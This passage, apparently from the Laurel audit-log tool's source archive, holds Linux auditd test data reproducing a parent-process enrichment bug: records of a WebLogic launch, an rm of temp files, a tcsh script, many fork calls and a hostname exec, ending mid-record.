a3="-cp" a4="/u01/oracle/wlserver/server/lib/weblogic-launcher.jar" a5="-Dlaunch.use.env.classpath=true" a6="-Dweblogic.Name=AdminServer" a7="-Djava.security.policy=/u01/oracle/wlserver/server/lib/weblogic.policy" a8="-Djava.system.class.loader=com.oracle.classloader.weblogic.LaunchClassLoader" a9="-javaagent:/u01/oracle/wlserver/server/lib/debugpatch-agent.jar" a10="-da" a11="-Dwls.home=/u01/oracle/wlserver/server" a12="-Dweblogic.home=/u01/oracle/wlserver/server" a13="weblogic.Server" type=CWD msg=audit(1734013587.483:2679223): cwd="/u01/oracle/user_projects/domains/base_domain" type=PATH msg=audit(1734013587.483:2679223): item=0 name="/usr/java/jdk1.8.0_151/bin/java" inode=820124 dev="00:2f" mode=100755 ouid=10 ogid=143 rdev="00:00" nametype="NORMAL" cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid="0" type=PATH msg=audit(1734013587.483:2679223): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=814974 dev="00:2f" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid="0" type=EOE msg=audit(1734013587.483:2679223): laurel-0.7.1/src/testdata/shell-proc-trace-confusion.txt000064400000000000000000000717301046102023000214330ustar 00000000000000# Problem: # Event 1697091526.357:2638035 refers an execve("id", …) call # performed by tcsh which was started directlyy before. However, # Laurel has enriched ppid=2655 to: # # { # "EVENT_ID": "1697091525.582:2588684", # "comm": "rm", # "exe": "/usr/bin/rm", # "ppid": 2643 # } # # Note: In the real log, the observed "rm" happened about 10min # beforee "id", but the process entry for "rm" was not expired before # "id" was executed. For testing, the message ID has been edited so it # is not cleaned up by the expire mechanism. # # Also, other, unrelated entries have been edited out. type=SYSCALL msg=audit(1697091525.582:2588684): arch=c000003e syscall=59 success="yes" exit=0 a0=2479518 a1=247ffc8 a2=2480e00 a3=fc2c9fc5 items=2 ppid=2643 pid=2655 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty="(none)" ses=4294967295 comm="rm" exe="/usr/bin/rm" key=(null) type=EXECVE msg=audit(1697091525.582:2588684): argc=5 a0="rm" a1="-f" a2="/tmp/2643A1" a3="/tmp/2643A2" a4="/tmp/2643XX" type=CWD msg=audit(1697091525.582:2588684): cwd="/opt/REDACTED" type=PATH msg=audit(1697091525.582:2588684): item=0 name="/bin/rm" inode=1233 dev="103:05" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" type=PATH msg=audit(1697091525.582:2588684): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=137909 dev="103:05" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" type=EOE msg=audit(1697091525.582:2588684): type=SYSCALL msg=audit(1697091526.189:2637841): arch=c000003e syscall=59 success="yes" exit=0 a0=2b3be35 a1=7ffcc496e3a0 a2=2b53050 a3=fc2c9fc5 items=2 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key=(null) type=EXECVE msg=audit(1697091526.189:2637841): argc=3 a0="-csh" a1="-c" a2="/tmp/REDACTED.csh" type=CWD msg=audit(1697091526.189:2637841): cwd="/home/redacted/" type=PATH msg=audit(1697091526.189:2637841): item=0 name="/bin/csh" inode=144740 dev="103:05" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" type=PATH msg=audit(1697091526.189:2637841): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=137909 dev="103:05" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" type=EOE msg=audit(1697091526.189:2637841): type=SYSCALL msg=audit(1697091526.193:2637845): arch=c000003e syscall=56 success="yes" exit=2549 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.193:2637845): type=SYSCALL msg=audit(1697091526.193:2637853): arch=c000003e syscall=56 success="yes" exit=2552 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.193:2637853): type=SYSCALL msg=audit(1697091526.193:2637855): arch=c000003e syscall=56 success="yes" exit=2555 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.193:2637855): type=SYSCALL msg=audit(1697091526.201:2637859): arch=c000003e syscall=56 success="yes" exit=2556 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.201:2637859): type=SYSCALL msg=audit(1697091526.209:2637862): arch=c000003e syscall=56 success="yes" exit=2557 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.209:2637862): type=SYSCALL msg=audit(1697091526.213:2637866): arch=c000003e syscall=56 success="yes" exit=2559 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.213:2637866): type=SYSCALL msg=audit(1697091526.217:2637870): arch=c000003e syscall=56 success="yes" exit=2561 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.217:2637870): type=SYSCALL msg=audit(1697091526.229:2637874): arch=c000003e syscall=56 success="yes" exit=2564 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.229:2637874): type=SYSCALL msg=audit(1697091526.245:2637879): arch=c000003e syscall=56 success="yes" exit=2566 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.245:2637879): type=SYSCALL msg=audit(1697091526.249:2637885): arch=c000003e syscall=56 success="yes" exit=2571 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.249:2637885): type=SYSCALL msg=audit(1697091526.249:2637888): arch=c000003e syscall=56 success="yes" exit=2573 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.249:2637888): type=SYSCALL msg=audit(1697091526.249:2637891): arch=c000003e syscall=56 success="yes" exit=2574 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.249:2637891): type=SYSCALL msg=audit(1697091526.253:2637894): arch=c000003e syscall=56 success="yes" exit=2576 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.253:2637894): type=SYSCALL msg=audit(1697091526.269:2637907): arch=c000003e syscall=56 success="yes" exit=2582 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.269:2637907): type=SYSCALL msg=audit(1697091526.269:2637909): arch=c000003e syscall=56 success="yes" exit=2583 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.269:2637909): type=SYSCALL msg=audit(1697091526.273:2637911): arch=c000003e syscall=56 success="yes" exit=2584 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.273:2637911): type=SYSCALL msg=audit(1697091526.273:2637913): arch=c000003e syscall=56 success="yes" exit=2585 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.273:2637913): type=SYSCALL msg=audit(1697091526.273:2637915): arch=c000003e syscall=56 success="yes" exit=2586 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.273:2637915): type=SYSCALL msg=audit(1697091526.277:2637917): arch=c000003e syscall=56 success="yes" exit=2587 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.277:2637917): type=SYSCALL msg=audit(1697091526.277:2637919): arch=c000003e syscall=56 success="yes" exit=2588 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.277:2637919): type=SYSCALL msg=audit(1697091526.281:2637921): arch=c000003e syscall=56 success="yes" exit=2589 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.281:2637921): type=SYSCALL msg=audit(1697091526.281:2637922): arch=c000003e syscall=56 success="yes" exit=2590 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.281:2637922): type=SYSCALL msg=audit(1697091526.281:2637924): arch=c000003e syscall=56 success="yes" exit=2591 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.281:2637924): type=SYSCALL msg=audit(1697091526.285:2637926): arch=c000003e syscall=56 success="yes" exit=2592 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.285:2637926): type=SYSCALL msg=audit(1697091526.285:2637928): arch=c000003e syscall=56 success="yes" exit=2593 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.285:2637928): type=SYSCALL msg=audit(1697091526.289:2637930): arch=c000003e syscall=56 success="yes" exit=2594 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.289:2637930): type=SYSCALL msg=audit(1697091526.289:2637932): arch=c000003e syscall=56 success="yes" exit=2597 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.289:2637932): type=SYSCALL msg=audit(1697091526.293:2637936): arch=c000003e syscall=56 success="yes" exit=2598 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.293:2637936): type=SYSCALL msg=audit(1697091526.293:2637938): arch=c000003e syscall=56 success="yes" exit=2599 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.293:2637938): type=SYSCALL msg=audit(1697091526.297:2637940): arch=c000003e syscall=56 success="yes" exit=2600 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.297:2637940): type=SYSCALL msg=audit(1697091526.297:2637947): arch=c000003e syscall=56 success="yes" exit=2604 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.297:2637947): type=SYSCALL msg=audit(1697091526.301:2637955): arch=c000003e syscall=56 success="yes" exit=2608 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.301:2637955): type=SYSCALL msg=audit(1697091526.309:2637962): arch=c000003e syscall=56 success="yes" exit=2612 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.309:2637962): type=SYSCALL msg=audit(1697091526.309:2637965): arch=c000003e syscall=56 success="yes" exit=2613 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.309:2637965): type=SYSCALL msg=audit(1697091526.313:2637968): arch=c000003e syscall=56 success="yes" exit=2615 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.313:2637968): type=SYSCALL msg=audit(1697091526.313:2637977): arch=c000003e syscall=56 success="yes" exit=2622 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.313:2637977): type=SYSCALL msg=audit(1697091526.317:2637980): arch=c000003e syscall=56 success="yes" exit=2623 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.317:2637980): type=SYSCALL msg=audit(1697091526.317:2637982): arch=c000003e syscall=56 success="yes" exit=2624 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.317:2637982): type=SYSCALL msg=audit(1697091526.321:2637984): arch=c000003e syscall=56 success="yes" exit=2625 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.321:2637984): type=SYSCALL msg=audit(1697091526.321:2637986): arch=c000003e syscall=56 success="yes" exit=2626 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.321:2637986): type=SYSCALL msg=audit(1697091526.325:2637988): arch=c000003e syscall=56 success="yes" exit=2627 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.325:2637988): type=SYSCALL msg=audit(1697091526.329:2637990): arch=c000003e syscall=56 success="yes" exit=2628 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.329:2637990): type=SYSCALL msg=audit(1697091526.329:2637992): arch=c000003e syscall=56 success="yes" exit=2629 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.329:2637992): type=SYSCALL msg=audit(1697091526.333:2637995): arch=c000003e syscall=56 success="yes" exit=2631 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.333:2637995): type=SYSCALL msg=audit(1697091526.333:2638000): arch=c000003e syscall=56 success="yes" exit=2636 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.333:2638000): type=SYSCALL msg=audit(1697091526.337:2638002): arch=c000003e syscall=56 success="yes" exit=2637 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.337:2638002): type=SYSCALL msg=audit(1697091526.337:2638004): arch=c000003e syscall=56 success="yes" exit=2638 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.337:2638004): type=SYSCALL msg=audit(1697091526.337:2638006): arch=c000003e syscall=56 success="yes" exit=2639 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.337:2638006): type=SYSCALL msg=audit(1697091526.341:2638008): arch=c000003e syscall=56 success="yes" exit=2640 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.341:2638008): type=SYSCALL msg=audit(1697091526.341:2638010): arch=c000003e syscall=56 success="yes" exit=2641 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.341:2638010): type=SYSCALL msg=audit(1697091526.341:2638011): arch=c000003e syscall=56 success="yes" exit=2642 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.341:2638011): type=SYSCALL msg=audit(1697091526.345:2638013): arch=c000003e syscall=56 success="yes" exit=2643 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.345:2638013): type=SYSCALL msg=audit(1697091526.345:2638014): arch=c000003e syscall=59 success="yes" exit=0 a0=964920 a1=99c520 a2=9b46f0 a3=f663360 items=2 ppid=2542 pid=2643 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="hostname" exe="/bin/hostname" key=(null) type=EXECVE msg=audit(1697091526.345:2638014): argc=1 a0="hostname" type=CWD msg=audit(1697091526.345:2638014): cwd="/home/redacted/" type=PATH msg=audit(1697091526.345:2638014): item=0 name="/bin/hostname" inode=131095 dev="103:05" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" type=PATH msg=audit(1697091526.345:2638014): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=137909 dev="103:05" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" type=EOE msg=audit(1697091526.345:2638014): type=SYSCALL msg=audit(1697091526.345:2638015): arch=c000003e syscall=56 success="yes" exit=2644 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.345:2638015): type=SYSCALL msg=audit(1697091526.345:2638017): arch=c000003e syscall=56 success="yes" exit=2645 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.345:2638017): type=SYSCALL msg=audit(1697091526.349:2638019): arch=c000003e syscall=56 success="yes" exit=2646 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.349:2638019): type=SYSCALL msg=audit(1697091526.349:2638021): arch=c000003e syscall=56 success="yes" exit=2647 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.349:2638021): type=SYSCALL msg=audit(1697091526.353:2638023): arch=c000003e syscall=56 success="yes" exit=2648 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.353:2638023): type=SYSCALL msg=audit(1697091526.353:2638025): arch=c000003e syscall=56 success="yes" exit=2649 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.353:2638025): type=SYSCALL msg=audit(1697091526.357:2638032): arch=c000003e syscall=56 success="yes" exit=2655 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.357:2638032): type=SYSCALL msg=audit(1697091526.357:2638033): arch=c000003e syscall=56 success="yes" exit=2656 